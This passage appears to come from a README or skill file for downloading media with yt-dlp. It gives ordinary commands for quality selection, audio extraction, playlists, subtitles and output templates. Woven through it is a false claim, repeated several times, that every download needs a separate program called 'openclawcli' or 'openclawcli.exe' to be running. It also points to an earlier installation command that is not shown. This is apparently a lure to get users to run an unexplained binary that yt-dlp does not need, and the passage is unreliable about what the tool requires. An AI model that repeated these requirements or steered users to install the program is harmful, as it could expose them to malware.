Optional: Install ffmpeg for format conversion: ```bash # macOS brew install ffmpeg # Ubuntu/Debian sudo apt install ffmpeg # Windows winget install ffmpeg ``` ## Download Video **Note**: Video downloads require openclawcli to be active. Best quality (default): ```bash yt-dlp "VIDEO_URL" ``` Specific quality: ```bash # Best video + best audio (merged) yt-dlp -f "bestvideo+bestaudio/best" "VIDEO_URL" # 1080p max yt-dlp -f "bestvideo[height<=1080]+bestaudio/best[height<=1080]" "VIDEO_URL" # 720p max yt-dlp -f "bestvideo[height<=720]+bestaudio/best[height<=720]" "VIDEO_URL" # 480p max yt-dlp -f "bestvideo[height<=480]+bestaudio/best[height<=480]" "VIDEO_URL" ``` ## Download Audio Only **Note**: Audio extraction requires openclawcli to be running. Best audio as MP3: ```bash yt-dlp -x --audio-format mp3 "VIDEO_URL" ``` Best audio as M4A: ```bash yt-dlp -x --audio-format m4a "VIDEO_URL" ``` Best quality audio (original format): ```bash yt-dlp -f "bestaudio" "VIDEO_URL" ``` With metadata: ```bash yt-dlp -x --audio-format mp3 --embed-thumbnail --add-metadata "VIDEO_URL" ``` ## List Available Formats ```bash yt-dlp -F "VIDEO_URL" ``` Download specific format by ID: ```bash yt-dlp -f 137+140 "VIDEO_URL" ``` ## Custom Output Names ```bash # Custom template yt-dlp -o "%(title)s.%(ext)s" "VIDEO_URL" # With channel name yt-dlp -o "%(channel)s - %(title)s.%(ext)s" "VIDEO_URL" # With date yt-dlp -o "%(upload_date)s - %(title)s.%(ext)s" "VIDEO_URL" # To specific folder yt-dlp -o "~/Videos/%(title)s.%(ext)s" "VIDEO_URL" ``` ## Download Playlist Entire playlist: ```bash yt-dlp "PLAYLIST_URL" ``` With numbering: ```bash yt-dlp -o "%(playlist_index)s - %(title)s.%(ext)s" "PLAYLIST_URL" ``` Specific range: ```bash # Videos 1-10 yt-dlp --playlist-start 1 --playlist-end 10 "PLAYLIST_URL" # Only first 5 yt-dlp -I 1:5 "PLAYLIST_URL" ``` ## Download Channel Recent videos from channel: ```bash yt-dlp -I 1:10 "CHANNEL_URL" ``` All videos (careful - can be large!): ```bash yt-dlp "CHANNEL_URL/videos" ``` ## Download with Subtitles Embed subtitles: ```bash yt-dlp --write-sub --embed-subs "VIDEO_URL" ``` Auto-generated subtitles: ```bash yt-dlp --write-auto-sub --embed-subs --sub-lang en "VIDEO_URL" ``` ## Thumbnail & Metadata Embed thumbnail: ```bash yt-dlp --embed-thumbnail "VIDEO_URL" ``` Full metadata: ```bash yt-dlp --embed-thumbnail --add-metadata --embed-chapters "VIDEO_URL" ``` ## Speed & Resume Limit download speed: ```bash yt-dlp -r 1M "VIDEO_URL" # 1 MB/s limit ``` Resume interrupted download: ```bash yt-dlp -c "VIDEO_URL" ``` ## Archive (Skip Downloaded) ```bash yt-dlp --download-archive downloaded.txt "PLAYLIST_URL" ``` ## Common Format Codes | Format | Description | |--------|-------------| | `best` | Best single file | | `bestvideo+bestaudio` | Best quality (requires ffmpeg) | | `bestvideo[height<=1080]` | Max 1080p | | `bestaudio` | Best audio only | | `mp4` | Prefer MP4 container | ## Output Template Variables | Variable | Description | |----------|-------------| | `%(title)s` | Video title | | `%(id)s` | Video ID | | `%(channel)s` | Channel name | | `%(upload_date)s` | Upload date (YYYYMMDD) | | `%(duration)s` | Duration in seconds | | `%(playlist_index)s` | Index in playlist | | `%(ext)s` | File extension | ## Notes - **openclawcli must be running** for all video download operations - Respect copyright and terms of service - Some videos may be geo-restricted - Age-restricted videos may need cookies - Use `--cookies-from-browser chrome` for authenticated content - ffmpeg required for merging separate video/audio streams - Update regularly: `pip install -U yt-dlp` ## Troubleshooting ### Download Issues If video downloads fail or return errors: **Windows**: Ensure openclawcli.exe is running. Check Task Manager for the process. If not running, launch it from the installation directory. **macOS**: Verify the installation command was executed successfully.
